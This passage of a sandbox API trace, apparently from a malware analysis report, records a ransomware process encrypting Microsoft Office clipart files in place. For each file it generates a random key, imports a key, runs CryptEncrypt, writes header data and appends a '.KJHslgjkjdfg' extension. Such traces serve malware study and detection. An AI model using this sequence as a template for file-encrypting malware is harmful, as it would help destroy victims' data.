nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.994] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.994] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.994] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.995] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.995] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.995] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.995] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa38, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa38, lpOverlapped=0x0) returned 1 [0189.995] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa40, dwBufLen=0xa40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa40) returned 1 [0189.995] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.995] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa40, lpOverlapped=0x0) returned 1 [0189.995] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.995] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.995] SetEndOfFile (hFile=0x130) returned 1 [0189.998] GetProcessHeap () returned 0x990000 [0189.998] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.998] GetProcessHeap () returned 0x990000 [0189.998] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.998] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf.kjhslgjkjdfg")) returned 1 [0190.001] CloseHandle (hObject=0x130) returned 1 [0190.001] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71426a00, ftCreationTime.dwHighDateTime=0x1bd4c04, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71426a00, ftLastWriteTime.dwHighDateTime=0x1bd4c04, nFileSizeHigh=0x0, nFileSizeLow=0x6852, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01923_.WMF", cAlternateFileName="")) returned 1 [0190.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.001] GetProcessHeap () returned 0x990000 [0190.001] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.001] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.002] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.002] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0190.004] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.004] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.004] GetProcessHeap () returned 0x990000 [0190.004] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.004] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.004] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.004] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.004] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.004] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.004] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.004] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.005] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.005] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.005] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.005] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.005] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6852, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6852, lpOverlapped=0x0) returned 1 [0190.006] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6860, dwBufLen=0x6860 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6860) returned 1 [0190.006] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.006] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6860, lpOverlapped=0x0) returned 1 [0190.006] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.006] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.006] SetEndOfFile (hFile=0x130) returned 1 [0190.009] GetProcessHeap () returned 0x990000 [0190.009] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.009] GetProcessHeap () returned 0x990000 [0190.009] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.010] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.kjhslgjkjdfg")) returned 1 [0190.011] CloseHandle (hObject=0x130) returned 1 [0190.011] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH02155_.WMF", cAlternateFileName="")) returned 1 [0190.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.012] GetProcessHeap () returned 0x990000 [0190.012] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.012] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.012] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.012] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.012] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.012] GetProcessHeap () returned 0x990000 [0190.012] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.012] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.012] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.012] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.014] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.014] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.014] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.014] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.014] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.014] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.014] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.014] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.014] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa90, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa90, lpOverlapped=0x0) returned 1 [0190.014] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa90, dwBufLen=0xa90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa90) returned 1 [0190.014] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.015] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa90, lpOverlapped=0x0) returned 1 [0190.015] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.015] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.015] SetEndOfFile (hFile=0x130) returned 1 [0190.015] GetProcessHeap () returned 0x990000 [0190.015] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.015] GetProcessHeap () returned 0x990000 [0190.015] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.015] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf.kjhslgjkjdfg")) returned 1 [0190.016] CloseHandle (hObject=0x130) returned 1 [0190.016] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b48ba00, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b48ba00, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x52c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH02166_.WMF", cAlternateFileName="")) returned 1 [0190.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.017] GetProcessHeap () returned 0x990000 [0190.017] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.017] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.017] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.017] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.019] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.019] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.019] GetProcessHeap () returned 0x990000 [0190.020] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.020] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.020] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.020] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.020] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.020] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.020] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.020] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.020] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.020] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.020] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.020] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.020] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x52c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x52c, lpOverlapped=0x0) returned 1 [0190.020] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x530, dwBufLen=0x530 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x530) returned 1 [0190.021] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.021] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x530, lpOverlapped=0x0) returned 1 [0190.021] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.021] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x604, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.021] SetEndOfFile (hFile=0x130) returned 1 [0190.023] GetProcessHeap () returned 0x990000 [0190.024] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.024] GetProcessHeap () returned 0x990000 [0190.024] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.024] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.kjhslgjkjdfg")) returned 1 [0190.025] CloseHandle (hObject=0x130) returned 1 [0190.025] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1e4b800, ftCreationTime.dwHighDateTime=0x1bd4bf1, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1e4b800, ftLastWriteTime.dwHighDateTime=0x1bd4bf1, nFileSizeHigh=0x0, nFileSizeLow=0x1efc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH02282_.WMF", cAlternateFileName="")) returned 1 [0190.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.025] GetProcessHeap () returned 0x990000 [0190.025] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.025] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.026] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.026] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.028] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.028] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.028] GetProcessHeap () returned 0x990000 [0190.028] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.028] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.028] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.028] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.028] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.028] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.029] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.029] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.029] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.029] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.029] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.029] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.029] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1efc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1efc, lpOverlapped=0x0) returned 1 [0190.030] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f00, dwBufLen=0x1f00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f00) returned 1 [0190.030] SetFilePointerEx (in: hFile=0x130, 